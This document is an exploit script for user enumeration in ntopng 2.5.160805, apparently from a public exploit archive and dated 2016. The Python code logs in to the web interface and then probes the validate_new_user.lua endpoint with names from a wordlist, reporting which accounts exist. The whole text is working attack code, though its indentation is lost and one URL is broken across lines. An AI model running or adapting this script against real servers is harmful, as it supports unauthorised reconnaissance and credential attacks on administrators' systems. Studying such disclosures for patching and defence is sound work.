ntop-ng 2.5.160805 Username Enumeration

`# Exploit title: ntopng user enumeration  
# Author: Dolev Farhi  
# Contact: dolevf at protonmail.com  
# Date: 04-08-2016  
# Vendor homepage: ntop.org  
# Software version: v.2.5.160805  
  
#!/usr/env/python  
import os  
import sys  
import urllib  
import urllib2  
import cookielib  
  
server = 'ip.add.re.ss'  
username = 'ntopng-user'  
password = 'ntopng-password'  
timeout = 6  
  
if len(sys.argv) < 2:  
print("usage: %s <usernames file>") % sys.argv[0]  
sys.exit(1)  
  
if not os.path.isfile(sys.argv[1]):  
print("%s doesn't exist") % sys.argv[1]  
sys.exit(1)  
  
try:  
cj = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
login_data = urllib.urlencode({'user' : username, 'password' :  
password, 'referer' : '/authorize.html'})  
opener.open('http://' + server + ':3000/authorize.html', login_data,  
timeout=timeout)  
print("\nEnumerating ntopng...\n")  
with open(sys.argv[1]) as f:  
for user in f:  
user = user.strip()  
url = 'http://%s:3000/lua/admin/validate_new_user.lua?user=%s&netw  
orks=0.0.0.0/0,::/0' % (server, user)  
resp = opener.open(url)  
if "existing" not in resp.read():  
print "[NOT FOUND] %s" % user  
else:  
print "[FOUND] %s" % user  
except Exception as e:  
print e  
sys.exit(1)  
  
`